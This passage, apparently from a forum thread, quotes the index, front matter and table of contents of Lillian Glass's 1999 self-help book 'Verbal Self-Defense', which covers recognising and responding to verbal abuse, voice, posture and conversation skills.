“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
rude food servers, 209–210
self-assessment, 62–65
objectivity, 65–67
positive traits, 63–65
shyness, overcoming, 120
personal space, respecting, 11–12, 115–116
persuasion, 288
photographs, performing self-assessment, 67
physical contact, 85–88
physically challenged, communicating with, 289
physical violence, avoiding, 156–157
physiological responses to verbal abuse, 27–31
pictures, performing self-assessment, 67
piercing stares, 8
Pillai, Guru Ji, 111
pitch (voice), lowering, 97
pity seekers, 233
plotters, 242
positive traits (personality), self-assessment, 63–65
posture, 12
enhancing, 80–81
head position, enhancing, 81
rigidity, correcting, 82–83
sitting, 82
spine, 81
practicing imaginary conversations, 133–134
pre-infant communication, 198–199
preconceived notions (verbal opponents), removing, 111
prejudice
intelligence, underestimating, 291–292
open-mindedness, 111
racial slurs, 286
rumors as source, 274
preparing
for conversation, 118
for verbal combat, 131–134
preventing
drooling, 102–103
rumors about yourself, 310
verbal attacks, strategies, 112–116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
terms of endearment, speaking, 114, 115
profanity among children and teenagers, 195–196, 201–202
professional help
improving self-esteem, 308–310
psychotherapists, contacting, 166
professionals, defending against verbal attacks, 212
profiling verbal murderers, 47–49
projecting voice, 98
promoting peace, strategies, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
pronunciation
consonants, 101–102
vowels, 102
psychology
bipolar disorder, 42
control freaks, motivation for verbal murder, 53–54
“kick the cat” syndrome, 50
mentally ill, communicating with, 289–290
references, 320–322
self-esteem, improving, 308–310
separation anxiety, 260–261
verbal abuse, 29–31
verbal murder, consequences, 57, 57–58
psychotherapists, contacting, 166
public humiliation
coping with, 268–270
examples of, 268–269
jokes, 269–270
Page 334
Q.
quitting verbally abusive relationships, 165–166
quiz, identifying verbal abuse, 25–26
R
racial slurs, 248, 286
ragers (verbal abusers), 43
raking one over the coals, 268
rape, avoiding, 302
raspiness (voice), as emotional indicator, 16
reacting
to public humiliation, 269–273
to verbal attacks, 134, 152
immediacy, 136
interpreting responses, 134–135
psychological, 29–31
reading between lines, 6
realtors, rudeness, 207–208
recommending speech pathologists, 221–222
recording
messages (answering machines), 262
self-assessment, videotape, 66
recovering from verbal abuse, 169–171
red flags, 294
references
psychological services, 320–322
speech pathologists, 319–320
refusing food, 287
rehabilitation from verbally abusive relationships, 166
rejection from verbal abuser, coping with, 166–168
relationships
betrayal, dealing with, 290
conversation topics, 124
enemies, defending against, 204–205
families, verbal abuse
parents, defending against, 191–193
siblings, defending against, 193–194
forgiveness, 169
improving, 186–189
verbally abusive
ending, grieving process, 168
quitting, 165–166
rehabilitation, contacting professional help, 166
“three-strike rule”, 162–164
Relaxation Breathing Technique, 93
listening skills, focusing, 94
voice, enhancing, 95
removing
negative thoughts, 310
preconceived notions about verbal opponents, 111
reporting bad news, 281–282
representatives (business), rudeness, 207–208
resentment, motivation for verbal murder, 56, 56–58
resolving verbal abuse issues
from business representatives, 208
parental abuse, 192–193
sibling rivalry, 194
respect, 298
parent-child relationships, 200–201
self-respect, 109–110
affirmation tapes, 111
responding to disparaging comments, 274
responses, evaluating (“Who Are You?”) quiz, 109
restaurant servers, verbally defending against, 208–211
restricting behavior, school-aged children, 197
returning telephone calls, 264
rigidity (posture), correcting, 82–83
road rage, 297
robbers, 302
romantic situations, 303–304
rough tone in voice, 299
rudeness in business representatives, 207–208
rumors
about family, 311
as source of prejudice, 274
friends, defending, 287–288
intentionally “leaking”, 312
preventing, 310
S
sadness, facial expression, 11
salespeople
rudeness, handling, 207–208
telemarketers, verbal defense, 256–257
saliva
drooling, 102–103
spraying, 102
sarcasm
jokes, 295
reacting to, 272
sarcastic/sadistic personality types (verbal abusers), 35
selecting
answering machine messages, 262
verbal defense strategy, 136–138
self-aggrandizement, 22, 39–40, 235
self-assessment, personality, 62–65
self-criticism, 308
self-discovery
as confidence builder, 105–109
“Who Are You?” quiz, 106–108
self-esteem
affirmation tapes, 111
enhancing, 308–310
removing negative thoughts, 310
self-fulfilling prophecies, 111
self-righteous talkers, 237
separation anxiety, telephone conversations, 260–261
service industries, rude employees, 206–211
Page 335
sexes
brain chemistry, comparing, 177–178
communication
female language, 185–186
interpreting, 178–181, 181–183
male language, 183–185
comparing treatment of infants between, 177
lack of communication, 176
relationships, improving, 186–189
sexists, 248
sexual harrassment, 286
shaking hands, 13
“Shock 'Em and Rock 'Em” personality types (verbal abusers), 34–35
shutting up, 296
shyness, overcoming, 120
siblings, defending against verbal abuse, 193–194
sight-impaired, communicating with, 289
sitting with confidence, 82
slang, confronting speakers of, 225
slow speech, 17
smiling, 87, 119–120
at enemies, 271
sneaky plotters, 242
speaking for yourself, 273–274
speech
bilingual communication, 176
breathing, 92–95
mind-clearing technique, 94
relaxation technique, 93
consonant pronunciation, improving, 101–102
fast talkers, confronting, 17, 223
female language, 185–186
hyper-articulation, 17–18
infants, developing, 199
lisping, 16
male language, 183–185
monotonous, 222–223
mumbling, 217–218
slang, confronting speakers of, 225
slow talkers, 17
stuttering
as indicator of nervousness, 15–16
controlling, 104
patience with, 288–289
therapy, recommending, 221–222
voice quality, 14
baby-voiced talkers, confronting, 219–221
enhancing, 97–98
loud talkers, 15
projection, 98
quiet talkers, 15
raspiness, 16
self-assessment, 75–77
squeakiness, 14–15
voice box, 95–97
vowel pronunciation, improving, 102
speech pathologists, references, 319–320
speed
reactions to verbal attacks, 136–137
talking, slowing down, 103
spinal posture, correcting, 81
spreading gossip, 312
squeaky talkers, confronting, 219
staring, 8
disarming verbal opponents, 139–141
starting conversation, 121
statements, abusive, 23–27
stereotypes, racial slurs, 286
store clerks, rudeness, 207–208
strangers, verbal defense, 204
strategies
avoiding physical violence
“Fantasy strategy”, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe strategy”, 158–159
disarming verbal opponents
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
names, repeating, 146–147
staring down, 139–141
“What's Good About You” strategy, 148–149
peace, promoting, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
verbal combat preparation, imaginary conversations, 132–136
verbal defense
loud verbal explosions, 155
selecting, 136–138
stress
emotional
“kick the cat” syndrome, 50
verbal murder, 47
indications, 28
strong but silent types, 230
stuttering, 288–289
controlling, 104
nervousness as cause, 15–16
Page 336
sugary fawners (verbal abusers), 38–39
surprise, facial expression, 11
suspicion, unconscious motivation for verbal murder, 52–53
sweet talkers, 232
T
talkaholics, 232
talking
body language, 11–13
arms, 12–13
hand-shaking, 13
physical distance, 11–12
posture, 12
hyper-articulation, 17–18
rate of speech, 17, 103
speech impediments
lisping, 16
stuttering, 15–16
tone of voice, 14
loud talkers, 15
quiet talkers, 15
raspiness, 16
sqeakiness, 14–15
volume, reducing, 103
teachers and respect, 298
teasing, 299
techniques
breathing, 92–95
mind-clearing, 94
relaxation, 93
yawning, 97–98
confronting verbal abusers
fast talkers, 223
know-it-alls, 224–225
loud talkers, 218–219
name droppers, 223–224
nasal talkers, 227–228
slang speakers, 225
disarming opponents
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
Hand-Holding Fighting strategy, 147–148
Heart-in-Hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
What's Good About You strategy, 148–149
family issues, resolving
parental abuse, 192–193
sibling rivalry, 194
handling conversation interruptions, 226
verbal defense
against enemies, 205
against strangers, 204
voice enhancement
monotonous voices, 99–100
nasal voices, 100–101
whining voices, 100
teenagers
parental requests, 196–197
profanity, 195–196
verbal abuse, 194–197
telemarketers, verbal defense, 256, 257
telephone
answering machines, messages, 261–262, 262
confrontations, avoiding, 257
conversations
concluding, 260–261
interruptions, handling, 263–264
while eating, 262–263
frequent callers, confronting, 264–265
mumblers, confronting, 259
returning calls, 264
whisperers, confronting, 259
wordy talkers, confronting, 259–261
telling all, 313
terminally ill, communicating with, 283–284
terms of endearment, speaking, 114–115
theater rage, 298
therapy (speech), 96, 221–222
thieves, 302
“three strikes rule”, verbal abuse, 162
timeliness of counter attacks, 136
tonal blocks, 301
tone of voice, 14
loud talkers, 15
quiet talkers, 15
raspiness, 16
squeakiness, 14–15
topics of conversation, 123–124
basic needs, 124
comparing interest between sexes, 178
interests and opinions, 124
knowledge of, 125
lingo, acquiring, 125
relationships, 124
touching, 85–86
communicating with terminally ill, 284
see also physical contact
traits (personality)
level one verbal abusers, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two verbal abusers, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
Page 337
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
trashers (verbal abusers), 36–37
truth
liars, confronting, 284–285
vocal tone as indicator, 15–18
U.
unconscious motivation, verbal murder, 50–53
envy, 51–52
feelings of unworthiness, 52
underestimating intelligence, 291–292
underminers (verbal abusers), 41–42
unloading on others, 313
unworthiness, motivation for verbal murder, 52
V
veracity, vocal tone as indicator, 15
verbal abuse, 23–27
categorizing, 33–34
children, correcting, 200
comparing to verbal murder, 47
consequences, 27–31
defense
against customer service representatives, 205–212
against dentists, 213–214
against doctors, 213–214
against employers, 212–213
against enemies, 205
against food service employees, 210–212
against foreign language speakers, 211–212
against friends, 204–205
against professionals, 212
against strangers, 204
against telemarketers, 256, 257
against yourself, 308
strategies, selecting, 136–138
emotional manifestations, 29–31
fighting dirty, 155–157
identifying, 25–26
in relationships, 162–164
excuses for maintaining, 163–164
quitting, 165–166
level one, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
parental
consequences, 192
resolving, 192–193
parents as victims, 194–197
physical violence, avoiding
Fantasy strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
Verbally Mirroring the Foe strategy, 158–159
profanity among teenagers, 195–196
psychological affects, 29–31
relationships
forgiveness, 169
grieving process, 168
rehabilitation, contacting professional help, 166
self-directed, 110
siblings, 193–194
“three strikes rule”, 162–164
victims
setting limits with perpetrators, 153–155
comforting, 166–168
verbal gifts, 316
verbal hammers, 35–36
verbal icicles, 45–46
verbal interrogators, 243
verbal lumberjacks, 249
“Verbally Mirroring the Foe” strategy, avoiding physical violence, 158–159
verbal murder
comparing to verbal abuse, 47
consequences, 57–58
identifying, 49
motivation, 50
conscious, 53–57
unconscious, 50–53
verbal nazis, 43–44
verbal vomiters, 231
verbose speakers, confronting, 227, 259–261
Vicarious Fantasy technique, 211
victims
children of abusive parents, 191–193
of verbal abuse, comforting, 166–168
of verbal murder, 57–58
parents of abusive children, 194–197
setting limits with perpetrator, 153–155
videotape, recording self-assessment, 66
violence, avoiding, 156–157
vocabulary, acquiring, 125
Page 338
voice
as verbal defensive weapon, 155
enhancing, 95
yawning, 97–98
female, interpreting, 185
loud talkers, confronting, 218–219, 259
male, interpreting, 184
monotonous, 99–100, 222–223
nasal,
confronting speakers of, 227–228
improving, 100–101
parental, pre-infant response to, 198
pitch, lowering, 97
projecting, 98
raspiness, 16
self-assessment, 75–77
speech therapy, recommending, 221–222
squeakiness, 14–15
volume, 15
whining, improving, 100
whispering, 15
voice box, 95–97
volume (talking)
reducing, 103
projecting, 98
vowels, pronouncing, 102
vulgar language, 234
W
waiters (restaurant), verbal self-defense, 208–211
walking
body language, self-assessment, 70–71
confidence, 81–82
warning verbal crime perpetrators, 153–155
warning signs of stress, 28
weight distribution, posture, 80–81
weight-related jokes, responding to, 287
Wernicke's area, 27
“What's Good About You” strategy, disarming verbal opponents, 148–149
when to shut up, 296
whining voice, enhancing, 100
whispering
as emotional indicator, 15
over telephone, 259
“Who Are You?” quiz, 106–109
worksheets, verbal abuse,
identifying perpetrators, 48–49
logging reactions, 134
wrongdoing, admitting to, 290–291
X–Z
xenophobics, 248
yawning, 97–98
yes-yes do-nothings, 245, 246
Yiddish terms, 126–127
Your Total Image Inc, order form, 323–324
zealots, 245

ABOUT THE AUTHOR[/QUOTE]



OHHH!!! So you're saying that...

Page i
Verbal Self-Defense
by Lillian Glass, Ph.D.
A Division of Macmillan General Reference
A Pearson Education Macmillan Company
1633 Broadway, New York, NY 10019



Page ii
Copyright© 1999 Lillian Glass, Ph.D.
All rights reserved. No part of this book shall be reproduced, stored in a retrieval system, or transmitted by any
means, electronic, mechanical, photocopying, recording, or otherwise, without written permission from the
publisher. No patent liability is assumed with respect to the use of the information contained herein. Although
every precaution has been taken in the preparation of this book, the publisher and author assume no
responsibility for errors or omissions. Neither is any liability assumed for damages resulting from the use of
information contained herein. For information, address Alpha Books, 1633 Broadway, 7th Floor, New York,
NY 10019-6785.
THE COMPLETE IDIOT'S GUIDE name and design are trademarks of Macmillan, Inc.
Macmillan Publishing books may be purchased for business or sales promotional use. For information please
write: Special Markets Department, Macmillan Publishing USA, 1633 Broadway, New York, NY 10019.
International Standard Book Number: 0-02-862741-5
Library of Congress Catalog Card Number: 99-64466
01 00 99 8 7 6 5 4 3 2 1
Interpretation of the printing code: the rightmost number of the first series of numbers is the year of the book's
printing; the rightmost number of the second series of numbers is the number of the book's printing. For
example, a printing code of 99-1 shows that the first printing occurred in 1999.
Printed in the United States of America
Note: This publication contains the opinions and ideas of its author. It is intended to provide helpful and
informative material on the subject matter covered. It is sold with the understanding that the author and
publisher are not engaged in rendering professional services in the book. If the reader requires personal
assistance or advice, a competent professional should be consulted.
The authors and publisher specifically disclaim any responsibility for any liability, loss or risk, personal or
otherwise, which is incurred as a consequence, directly or indirectly, of the use and application of any of the
contents of this book.
Page iii
Alpha Development Team
Publisher
Kathy Nebenhaus
Editorial Director
Gary M. Krebs
Managing Editor
Bob Shuman
Marketing Brand Manager
Felice Primeau
Acquisitions Editor
Jessica Faust
Development Editors
Phil Kitchel
Amy Zavatto
Assistant Editor
Georgette Blau
Production Team
Development Editor
Jessica Faust
Production Editor
Robyn Burnett
Copy Editor
Erik Dafforn
Cover Designer
Mike Freeland
Photo Editor
Richard H. Fox
Illustrator
Kevin Spear
Book Designer
Scott Cook and Amy Adams of Design Lab
Indexer
Tim Wright
Layout/Proofreading
Angela Calvert
Ellen Considine

Page iv
CONTENTS AT A GLANCE
Part 1:
Identifying the Verbally Venomous Opponent
1
1
Identifying the Verbally Venomous Opponent
Observe the person from head to toe in a way you never have before. Listen
between the lines to what they are really saying through their facial and
body language and the sound of their voice.
3
2
Knowing When You've Been Verbally Zapped
Translate what is meant by seemingly innocent statements that are really
verbal barbs. Take the quiz to see if you've been exposed to verbal abuse.
19
3
Verbal Abusers Are Losers
Find out the inner workings of different types of verbal abusers,
categorized according to the severity of their abusive behavior.
33
4
Verbal Murder—How and Why?
Learn some of the conscious and unconscious reasons for and the
consequences of being verbally murdered.
47
Part 2:
Preparing to Verbally Defend Yourself
59
5
Analyzing Your Strengths and Weaknesses
Learn ways to objectively examine how you come across to others—
everything from the way you walk to the way you talk.
61
6
Gaining the Physical Edge
Learn techniques for enhancing your image. These will create a more
powerful perception of you in others and instill more self-confidence in you.
79
7
Gaining the Verbal Advantage
How you sound when you speak cannot be overlooked if you want to win
the verbal war. Learn strategies for enhancing the way you speak.
91
8
Communication Skill Defense
Just as it is important to sound good in verbal warfare, it is important to
105
say the right thing. Learn the basics of communication that will make
others more receptive towards you.
9
Confident Conversation
Learn to develop the charisma to attract people, keep them interested, and
interact with them in the future.
117
Page v
Part 3:
Verbal Defense Strategies to Use in Combat
129
10
Verbal Defense Strategies
Memorize the verbal self-defense strategies so you can easily call upon a
particular strategy in any circumstance. If one doesn't work, you have
numerous others from which to choose.
131
11
Letting Them Know They've Overstepped Their Verbal Boundaries
Now there is no excuse for being victimized or traumatized by an opponent
who intrudes on your territory. You have a bag full of strategies to ward
them off.
139
12
When More Powerful Weaponry Is Needed
You can accomplish more with your mouth than with your fists. It's okay to
get angry, but the consequences of physical violence are too high.
151
13
Enough Is Enough! Knowing When to Retreat
Learn how to quickly determine when the verbal battle is finally over.
Whether you won or lost, you still need to recoup and regroup. This chapter
shows you how to do both.
161
Part 4:
Verbal Warfare with Specific People in Your Life
173
14
Gaining the Winning Verbal Edge Between the Sexes
Learn the basics of male and female communication. This will help you
avoid many common pitfalls responsible for verbal warfare between
couples.
175
15
Blood Is Not Always Thicker Than Water!
Learn how to converse with various family members to understand their
perspectives; if they're just too toxic, learn to get out and save yourself.
191
16
Verbal Warfare with Specific People in Your Life
Master the words to use for specific kinds of abusers, so that you will never
again be a victim.
203
Part 5:
Verbal Combat Against Verbal Abusers
215
17
Verbal Combat Against Annoying Verbal Abusers
The 13 types of annoying vermin won't hurt you, just drive you insane. Here
are remedies for them.
217
18
Verbal Combat Against Painful Verbal Abusers
These eight types of disgusting and obnoxious verbal vermin can literally
make you sick. Learn to combat them so that you won't vomit.
229
Page vi
19
Verbal Combat Against Dangerous Verbal Abusers
These 11 types of dangerous verbal vermin can inflict emotional, mental,
and physical harm upon you. Here are strategies available to help you
protect yourself.
239
Part 6:
Dodging Verbal Bullets in Specific Battlefields
253
20
Verbal Defense over the Telephone
Learn what to say over the telephone to rude and unhelpful people, pests,
and those who have bad telephone habits.
255
21
Verbal Self-Defense in Sticky Situations
What to say in real-life situations nobody talks about. Topics range from
telling someone they have body odor to getting a cheapskate to cough up
the money for a bill.
267
22
Verbal Self-Defense in More Difficult Situations
How to deal with situations that are even more difficult, because they
involve people such as those who are dying or grieving over someone else's
death, and those who lie.
281
23
Verbal Self-Defense Can Save Your Life!
How to thwart a potential criminal act by knowing what to say and how to
say it. You will also learn how to broach the subject of safe sex.
293
24
Verbally Defending YOU Against YOU!
What you say about yourself says it all! People who speak well about
themselves encourage others to do the same. Be discriminating about what
you say about yourself and others.
307
A Resources 319
B To Order Dr. Glass's Products 323
Index 325
Page vii
CONTENTS
Part 1:
Identifying the Verbally Venomous Opponent
1
1
Identifying the Verbally Venomous Opponent
3
Stop, Look, and Listen—Sizing Up Your Opponent 3
20/20 Hindsight 4
Freeze and Focus 5
Reading Between the Lines 5
Telltale Eyes 7
Here's Looking (or Not Looking) at You, Kid! 8
Face Off 9
Telltale Mouth 10
Body Talk 11
Keep Your Distance! 11
Stand Up! 12
Armed with Arms and Hands 12
Hand-to-Hand Combat 13
Listening Between the Lines 13
Telling Tones 14
Squeaking or Leaking? 14
Tones Ready to Verbally Attack You 15
The Mouse That Roars 15
“Tha tha that's all, folks!” 15
Where's the Foghorn? 16
Thylvesther the Cat Thaid What? 16
Slow Down, I Can't Keep Up! 17
Aren't You Done Yet? 17
The Rain in Spain Lies Mainly in the Plain 17
2
Knowing When You've Been Verbally Zapped
19
What Are They Really Saying to You? 19
You Were Not “Only Kidding” 20
What's the Matter? Cat Got Your Tongue? 21
If He Says He's a Jerk, Believe Him 22
Beware, You're Next! 22
They Don't Really Mean That! 23
Warning! You've Been Exposed to a Verbal Health Hazard 23
Verbal Abuse—the Silent Killer 24
Quiz to Determine Exposure to Verbal Abuse 25
What Do Your Answers Mean? 26
Page viii
Ouch, It Hurts! The Physical Pain of Verbal Abuse 27
Head Games Lead to Heart Pains 28
Shrinking Verbal Abuse—Psychological Pain 29
3
Verbal Abusers Are Losers
33
Categorizing the Verbal Abuser 33
Level One Abusers 34
The “I'm Only Kidding” Person 34
The “Shock 'Em and Rock 'Em” Person 34
The Sarcastic/Sadistic Person 35
The Verbal Hammers Person 35
“My Dog's Bigger Than Your Dog” People 36
The Trashers 36
People Who Throw Back Your Confidences 37
The Sugary Fawner 38
Backhanded Complimentors 39
The Self-Consumed 39
Level Two Abusers 40
Interrogators 40
Gossiping, Meddling Instigators 41
Condescending Dismissers 41
Sneaky Underminers 41
“I Love You—I Hate You” People 42
“You're No Good!” People 43
Yellers, Screamers, and Ragers 43
Verbal Nazis—My Way or Else! 43
Guilt-Producing Accusers 44
Liars 44
Verbal Icicles 45
4
Verbal Murder—How and Why?
47
What Is Verbal Murder? 47
Who Are Verbal Murderers? 47
Identifying the Verbal Abusers in Your Life 48
When Do Verbal Abusers Turn into Verbal Murderers? 49
Why Does Verbal Murder Happen? 50
Unconscious Reasons for Verbal Murder 50
Hey! Don't Take It Out on Me! 50
Hey! We're Not All Like That! 50
I'm Not That Toxic Person in Your Past! 51
Green with Envy! 51
I Really Don't Deserve to Be That Happy! 52
I Don't Trust Anybody—Including You! 52
Page ix
Conscious Reasons for Verbal Murder 53
They Just Plain Can't Stand You! 53
They Know You Really Don't Like Them 53
What's the Use? 53
Gimme the Reins—I Need to Control You! 53
You're Incompetent! 54
I Just Don't Believe in You! 54
I Don't Want You to Be Ahead of Me! 55
Who Said You Can Be That Happy and Lucky? 56
They Did It to Me—Now It's Your Turn! 56
Consequences of Being a Verbal Murderer 57
Consequences of Being Verbally Murdered 57
Part 2:
Preparing to Verbally Defend Yourself
59
5
Analyzing Your Strengths and Weaknesses
61
How Others See You Does Matter! 61
How Do You Come Across to Others? 62
The General Consensus About You Is 63
Putting Others to the Test 63
Equipment You Need to Objectively Examine Yourself 65
Mirror, Mirror on the Wall 65
No Lies on Videotape 66
Record a Call 66
A Picture Says a Thousand Words 67
Getting Emotionally Naked 67
Stand Up and Walk the Walk! 68
The Stance of Power 68
The Walk of Authority 70
I Have to Hand It to You 71
Dead Head? 71
About Face! 72
Eye Deal 73
Is Your Mouth Goin' South? 73
Air Born 74
Ouch! My Ears Hurt Listening to You! 74
Pitching Your Voice 75
It's Quality We're After! 75
Twisting Your Tongue 76
Pump Up the Volume! Drown the Sound! 76
How Fast Were You Going? 76
The Nose Knows 76
Are You Talking to Me? 76
Page x
6
Gaining the Physical Edge
79
Postural Defense—Staking Out Your Presence 80
1. Stand Up Straight, Without a Leg Up! 80
2. Bottoms Up! 81
3. Straighten Up and Back Up! 81
4. Heads Up! 81
Walk Up! 81
Sit Up! 82
Uptight? Lighten Up! 82
Up in Arms! 83
Hands Up! 83
Shake Up! 84
Touch Up! 85
Face Up! 86
Charming, Disarming Smile 87
Kissin' Up! 87
Slipping Up or Messing Up? It All Adds Up and You End Up…! 88
7
Gaining the Verbal Advantage
91
Defensive Breathing 92
Relaxation Breathing: In—Hold—Out Control! 93
Mind-Clearing Breaths 94
Listening Through Breathing 94
Marrying Your Breathing with Your Talking 95
Vocal Defense 95
Your Most Overlooked Organ—Your Voice Box 95
Speak—Don't Squeak! 97
Yawning—Opening Up the Throat for a Smooth Voice 97
I Can't Hear You! 98
Stop Turning Me Off! 98
Stop Putting Me to Sleep with Your Boring Voice! 99
Whining No More 100
The Stuffed-Up Nose 100
Tasting Your Sounds 101
Kicking Key Consonants 101
Vowel Control 102
Demolishing Disgusting Habits 102
Say It—Don't Spray It! 102
Swallow Already! 102
Slow Down! It's Not the Grand Prix 103
Quiet! My Ears Can't Take It! 103
Spit It Out Already! 103
Hints to Help Control Your Stuttering 104
Page xi
8
Communication Skill Defense
105
Who in the World Are You? 105
“Who Are You?” Quiz 106
The Results of Who You Are 109
Keys to Gaining the Upper Hand 109
You Gotta Like You! 109
Don't Like Something About Yourself? Change It! 109
Talk Nice to You and Others Will Too 110
Cancel That! 110
The Power of the Word—What a Surprise! 111
Thoughts in Your Head 111
Open Your Mind! 111
Open Your Heart! 112
Tactics Used to Promote Verbal Peace with Others 112
Speak Up Immediately! 112
Monitor Your Mouth 113
Pay Attention to Trigger Words and Phrases 113
Terms of Endearment 114
Let Them Speak Their Piece 114
Enough About You Already! 115
Mind Your Own Business! 115
Respect Should Be Your Mantra 115
Don't Like the Answer? Then Don't Ask the Question 116
9
Confident Conversation
117
The Real Secret of Talking to Anyone 117
Understanding the Four Steps of Confident Conversation 118
Confident Pre-Conversation 118
Ending the “I Think That You Think That I Think” Game
Forever!
118
Smile All the While 119
Do It Anyway! 119
You Die When You're Shy! 120
Only a Fool Plays It Cool! 120
Initiating a Confident Conversation 121
Maintaining a Confident Conversation 121
Ask, Ask, and Keep Asking! 122
Elaborate—Don't Interrogate! 122
Getting Deeper and Deeper 123
What Shall We Talk About? 123
Know What You're Talking About! 125
Bingo! You Got the Lingo! 125
Talking Ethnic 126
Page xii
It's Over—I Wanna Go Now 127
Don't Be a Liar—Follow Up Immediately! 128
Never Say You'll Call If You Don't Mean It! 128
Part 3:
Verbal Defense Strategies to Use in Combat
129
10
Verbal Defense Strategies
131
Entering the Verbal Combat Zone 131
A Verbal Weakling No More! 132
Verbally Pumping Up 132
Imaginary Conversation Strategy 132
Through the Looking Glass 133
Knowing When to Attack Back 134
What Your Answers Mean 134
Keep Your Eyes and Ears Open at All Times 136
Make a Choice and Make It Now 136
Picking Your Strategy 137
The Verbal Artist Has Complete Control! 137
11
Letting Them Know They've Overstepped Their Verbal Boundaries
139
Silent, Expressionless, Blank Stare 139
The Look of Disgust Strategy 141
Let It Go—Breathe and Blow Strategy 142
Calm, Calculating, Questioning Strategy—Like Columbo 143
The Naked Truth Strategy 144
“The Joke's on You”—Funny Bone Strategy 145
Love 'Em Up Strategy 146
Gentle-Toned Name Repetition 146
Hush Hush Strategy 147
Let the Baby Have Her Bottle Strategy 147
Hand-Holding Fighting Strategy 147
Heart-in-Hand Strategy 148
“What's Good About You” Strategy 148
12
When More Powerful Weaponry Is Needed
151
Never Walk Away When You Have Something to Say! 151
Protecting the Other Cheek 152
Don't Just Stand There—Do Something! 152
Verbally Setting Firm Limits 153
“This Is Unacceptable!” 154
“Excuse Me? Are You Talkin' to Me?” 155
Page xiii
Strategy of Loud Verbal Explosions! 155
Fight Clean and Fair! 155
Keep It Above the Belt 156
Never, Ever Use Physical Violence! 156
Fantasy Strategy—an Alternative to Physical Violence 157
Never Threaten One's Basic Needs! 157
Keep Your Cool 158
Verbally Mirroring the Foe Strategy 158
“Give 'Em Hell and Yell” Strategy 160
13
Enough Is Enough! Knowing When to Retreat
161
Three Strikes and You're Out! 162
Yes, But 162
I Say “Yes,” You Say “No” 163
You Finally Got the Message! 165
Noooooo! Don't Do It! 165
Help!!! Emergency!!! 166
Throwaways 166
No Stalkers or Fatal Attractions Allowed! 168
Mourning and Waking Up Renewed in the Morning 168
When You're on the Verbal Merry-Go-Round 169
Forgiving Yourself Right Now! 169
Make Yourself Feel Reeeeal Good! 169
Part 4:
Verbal Warfare with Specific People in Your Life
173
14
Gaining the Winning Verbal Edge Between the Sexes
175
What's the Real Deal? 176
Learning to Be Bilingual 176
Once Upon a Time There Was an Infant Boy and Girl 177
There's Only One Brain! 177
What Shall We Talk About? 178
He Says—She Thinks! She Says—He Thinks! 178
No-No Scenario 1 179
No-No Scenario 2 179
No-No Scenario 3 180
No-No Scenario 4 180
No-No Scenario 5 180
He Says—He Means! She Says—She Means! 181
Scenario 1 Shoulda Said 181
Scenario 2 Shoulda Said 181
Scenario 3 Shoulda Said 182
Scenario 4 Shoulda Said 182
Scenario 5 Shoulda Said 182
Page xiv
Oh! So That's What You Meant! 183
Basic Male 101 183
Basic Female 101 185
See What I Mean? 186
What Men Need to Do 187
What Women Need to Do 187
Saving You a Lot of Grief! 188
15
Blood Is Not Always Thicker Than Water!
191
Defense Against Verbally Abusive Parents 191
Long-Lasting Effects 192
Your Best Bet! 192
Defense Against Verbally Abusive Siblings 193
Too Close for Comfort 193
Your Best Bet! 194
Verbal Defense with Teens 194
Trash Talkin' Teens 195
Expect to Hear This from Your Teen 196
Verbal Defense with School-Aged Kids 197
Best Bet: Set Limits Immediately! 197
Parental Verbal Control 197
Best Bets: Ask Your Child If She Wants to Go Somewhere with
You
198
Verbal Defense with Pre-Schoolers 198
Verbal Defense in Utero 198
Verbal Defense with Infants and Toddlers 199
Terrible Twos Are Verbally Terrific! 199
Talking to Children Who Act Out Verbally 200
Your Best Bet: Children of This Age Crave Respect 200
Cursing Kids 201
16
Verbal Warfare with Specific People in Your Life
203
Verbal Self-Defense Techniques for Various Groups 203
Invasive Strangers 204
“Friends” 204
Enemies 205
Customer Service Representatives 205
People Entrusted with Yourself or Your Property 206
Salespeople, Store Clerks, and Realtors 207
People Who Serve You 208
People Who Don't Speak Your Language 211
Professionals and Authority Figures 212
Verbally Toxic Employers 212
Verbal Medical and Dental Disasters 213
Page xv
Part 5:
Verbal Combat Against Verbal Abusers
215
17
Verbal Combat Against Annoying Verbal Abusers
217
Mumble Jumble 217
Sonic Boomers! 218
Meek, Weak, and Squeak 219
Baby-Voiced and Cutsie-Wootsie 219
Where to Direct a Person with an Annoying Voice 221
